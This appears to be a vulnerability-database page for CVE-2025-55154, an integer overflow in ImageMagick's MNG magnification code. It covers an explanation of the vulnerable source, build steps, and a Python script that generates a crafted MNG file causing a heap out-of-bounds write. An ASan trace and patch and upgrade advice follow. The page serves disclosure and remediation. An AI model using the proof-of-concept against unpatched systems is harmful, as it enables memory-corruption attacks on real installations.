CVE-2025-55154: ImageMagick: integer overflows in MNG magnification
Vulnerability Details
The magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption.
The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.
c static Image ReadOneMNGImage(MngReadInfo mnginfo, const ImageInfo imageinfo,ExceptionInfo exception) {
// Lots of stuff, this is effectively a state machine for the MNG rendering commands, // skip to the point where we start processing the "MAGN" command.
if (memcmp(type,mngMAGN,4) == 0) { pnguint16 magnfirst, magnlast, magnmb, magnml, magnmr, magnmt, magnmx, magnmy, magnmethx, magnmethy;
// Details unimportant, but each of the magnxxx variables is read from the file.
if (magnfirst == 0 || magnlast == 0) { / Save the magnification factors for object 0 / mnginfo->magnmb=magnmb; mnginfo->magnml=magnml; mnginfo->magnmr=magnmr; mnginfo->magnmt=magnmt; mnginfo->magnmx=magnmx; mnginfo->magnmy=magnmy; mnginfo->magnmethx=magnmethx; mnginfo->magnmethy=magnmethy; } }
// Details unimportant, we load the image to be scaled and store it in image
if (mngtype) { MngBox cropbox;
if (((mnginfo->magnmethx > 0) && (mnginfo->magnmethx <= 5)) && ((mnginfo->magnmethy > 0) && (mnginfo->magnmethy <= 5))) { pnguint32 magnifiedheight, magnifiedwidth;
if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk");
if (image->columns == 1) mnginfo->magnmethx = 1; if (image->rows == 1) mnginfo->magnmethy = 1; if (mnginfo->magnmethx == 1) { magnifiedwidth=mnginfo->magnml; // [0] if (image->columns > 1) magnifiedwidth += mnginfo->magnmr; // [1]
if (image->columns > 2) magnifiedwidth += (pnguint32) ((image->columns-2)(mnginfo->magnmx)); // [2] }
// Different cases handle available scaling kinds, all of which have similar issues...
// We now check whether the output image is larger than the input image in either // dimension, and if so, we will allocate a new image buffer of size // magnifiedwidth magnifiedheight.
if (magnifiedheight > image->rows || magnifiedwidth > image->columns) { Image largeimage;
// Snip...
largeimage->columns=magnifiedwidth; largeimage->rows=magnifiedheight;
magnmethx=mnginfo->magnmethx; magnmethy=mnginfo->magnmethy;
// In between here, we allocate the pixel buffer for largeimage.
/ magnify the rows into the right side of the large image /
if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) largeimage->rows); m=(ssizet) mnginfo->magnmt; yy=0; length=(sizet) GetPixelChannels(image)image->columns; next=(Quantum ) AcquireQuantumMemory(length,sizeof(next)); prev=(Quantum ) AcquireQuantumMemory(length,sizeof(prev));
if ((prev == (Quantum ) NULL) || (next == (Quantum ) NULL)) { if (prev != (Quantum ) NULL) prev=(Quantum ) RelinquishMagickMemory(prev); if (next != (Quantum ) NULL) next=(Quantum ) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); }
n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) memcpy(next,n,length);
for (y=0; y < (ssizet) image->rows; y++) { if (y == 0) m=(ssizet) mnginfo->magnmt;
else if (magnmethy > 1 && y == (ssizet) image->rows-2) m=(ssizet) mnginfo->magnmb;
else if (magnmethy <= 1 && y == (ssizet) image->rows-1) m=(ssizet) mnginfo->magnmb;
else if (magnmethy > 1 && y == (ssizet) image->rows-1) m=1;
else m=(ssizet) mnginfo->magnmy;
n=prev; prev=next; next=n;
if (y < (ssizet) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); }
for (i=0; i < m; i++, yy++) { Quantum pixels;
assert(yy < (ssizet) largeimage->rows); pixels=prev; n=next; q=GetAuthenticPixels(largeimage,0,yy,largeimage->columns, 1,exception); if (q == (Quantum ) NULL) break; q+=(ptrdifft) (largeimage->columns-image->columns) GetPixelChannels(largeimage); // [3]
If we look at the calculation for magnifiedwidth, we can see that we are storing the results in a pnguint32. The operations at \[0\] and \[1\] are safe, since mnginfo->magnml and mnginfo->magnmx are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to magnifiedwidth can overflow, leading to a value of magnifiedwidth that is smaller than required.
When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a q pointer outside the buffer bounds.
This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.
Triggering this issue requires an image with large columns or rows (\~65535) which should be prevented by all of the example security policies (which set width/height limits of 8KP).
Affected Version(s)
Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).
Build Instructions
shell git clone https://github.com/imagemagick/imagemagick cd imagemagick
export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address" export CXXFLAGS="-fsanitize=address" export LDFLAGS="-fsanitize=address"
./configure --disable-shared --disable-docs --with-jxl make -j
Reproduction
Test Case
This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.
import struct import zlib
def createchunk(chunktype, data): crc = zlib.crc32(chunktype + data) & 0xFFFFFFFF return struct.pack('>I', len(data)) + chunktype + data + struct.pack('>I', crc)
MNG signature mngsignature = b'\x8aMNG\r\n\x1a\n'
--- Dimensions --- mhdrwidth = 1 mhdrheight = 1 ihdrwidth = 65538 # W: Original width to cause W' overflow ihdrheight = 1 # H: Original height
MHDR chunk (Valid small dimensions) mhdrdata = struct.pack('>IIIIIII', mhdrwidth, mhdrheight, 1, 0, 0, 0, 0) mhdrchunk = createchunk(b'MHDR', mhdrdata)
MAGN chunk: Trigger width overflow, force entry via height magn magnfirst = 0 magnlast = 0 magnmethx = 1 magnmx = 65535 # -> magnifiedwidth = 65534 (overflow) magnmy = 2 # -> magnifiedheight = 2 (magnmt=2) magnml = 65535 magnmr = 65535 magnmt = 2 # Force magnifiedheight > H (necessary to trigger largeimage path) magnmb = 1 magnmethy = 1
magndata = struct.pack('>HHBHHHHHHB', magnfirst, magnlast, magnmethx, magnmx, magnmy, magnml, magnmr, magnmt, magnmb, magnmethy) magnchunk = createchunk(b'MAGN', magndata)
IHDR chunk ihdrdata = struct.pack('>IIBBBBB', ihdrwidth, ihdrheight, 8, 0, 0, 0, 0) ihdrchunk = createchunk(b'IHDR', ihdrdata)
IDAT chunk (Minimal data for W x H grayscale pixels) scanline = b'\x00' + (b'\x00' ihdrwidth) compressedscanline = zlib.compress(scanline) idatchunk = createchunk(b'IDAT', compressedscanline)
IEND chunk iendchunk = createchunk(b'IEND', b'')
MEND chunk mendchunk = createchunk(b'MEND', b'')
programinput = ( mngsignature + mhdrchunk + magnchunk + ihdrchunk + idatchunk + iendchunk + mendchunk )
print(f"Generated MNG size: {len(programinput)} bytes") with open("magnwrite.mng", "wb") as tmp: tmp.write(programinput)
Command
shell python3 ./generatetestcase.py utilities/magick ./magnwrite.mng -resize 200x200 PNG:output.png
ASan Backtrace
================================================================= ==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8 WRITE of size 4 at 0x7f80849757d0 thread T0 #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27 #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f8087433ca7 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16 #13 0x7f8087433d64 in libcstartmain csu/../csu/libc-start.c:360:3 #14 0x557440d3f790 in start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)
0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0) allocated by thread T0 here: #0 0x557440de00cb in posixmemalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) #1 0x557440e58aa6 in AcquireAlignedMemoryPOSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7 #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10 #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46 #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18 #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28 #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10 #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7 #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28 #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #19 0x7f8087433ca7 in libcstartcallmain csu/../sysdeps/nptl/libcstartcallmain.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed Shadow bytes around the buggy address: 0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa 0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==585863==ABORTING
Reporter Credit
Google Big Sleep
Other sources
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-27 and 7.1.2-1, the magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption. This issue has been patched in versions 6.9.13-27 and 7.1.2-1.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
nuget/Magick.NET-Q16-AnyCPUto a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-AnyCPUto a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-OpenMP-arm64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-OpenMP-x64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-arm64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-x64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-HDRI-x86to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-OpenMP-arm64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-OpenMP-x64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-arm64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-x64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q16-x86to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q8-AnyCPUto a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q8-OpenMP-arm64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q8-OpenMP-x64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q8-arm64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q8-x64to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
nuget/Magick.NET-Q8-x86to a version that resolves this vulnerability.Fixed in 14.8.0 - Upgrade
Upgrade
ubuntu/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.7.7.10-6ubuntu3.13+esm14 - Upgrade
Upgrade
ubuntu/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.8.9.9-7ubuntu5.16+esm13 - Upgrade
Upgrade
ubuntu/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.9.7.4+dfsg-16ubuntu6.15+esm5 - Upgrade
Upgrade
ubuntu/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.9.10.23+dfsg-2.1ubuntu11.11+esm3 - Upgrade
Upgrade
ubuntu/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm3 - Upgrade
Upgrade
ubuntu/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.9.12.98+dfsg1-5.2ubuntu0.1~esm2 - Upgrade
Upgrade
debian/graphicsmagickto a version that resolves this vulnerability.Fixed in 1.4+really1.3.49-1 - Upgrade
Upgrade
debian/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.9.11.60+dfsg-1.3+deb11u6Fixed in 8:6.9.11.60+dfsg-1.6+deb12u4Fixed in 8:7.1.1.43+dfsg1-1+deb13u2Fixed in 8:7.1.2.1+dfsg1-1 - Upgrade
Upgrade
debian/imagemagickto a version that resolves this vulnerability.Fixed in 8:6.9.11.60+dfsg-1.6+deb12u4 - Upgrade
Upgrade
debian/imagemagickto a version that resolves this vulnerability.Fixed in 8:7.1.1.43+dfsg1-1+deb13u2 - Upgrade
Upgrade
debian/imagemagickto a version that resolves this vulnerability.Fixed in 8:7.1.2.1+dfsg1-1 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 6.9.13-27 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 7.1.2-1
Event History
Frequently Asked Questions
What is the severity of CVE-2025-55154?
CVE-2025-55154 has been classified as a high-severity vulnerability due to its potential for memory corruption.
How do I fix CVE-2025-55154?
To mitigate CVE-2025-55154, upgrade ImageMagick to versions 6.9.13-27 or 7.1.2-1 or later.
What is the impact of CVE-2025-55154?
CVE-2025-55154 can lead to memory corruption due to unsafe magnified size calculations in the image processing functionality.
Which versions of ImageMagick are affected by CVE-2025-55154?
This vulnerability affects ImageMagick versions prior to 6.9.13-27 and 7.1.2-1.
Is there any workaround for CVE-2025-55154?
Currently, the best workaround for CVE-2025-55154 is to avoid using the vulnerable versions of ImageMagick and switch to a patched version.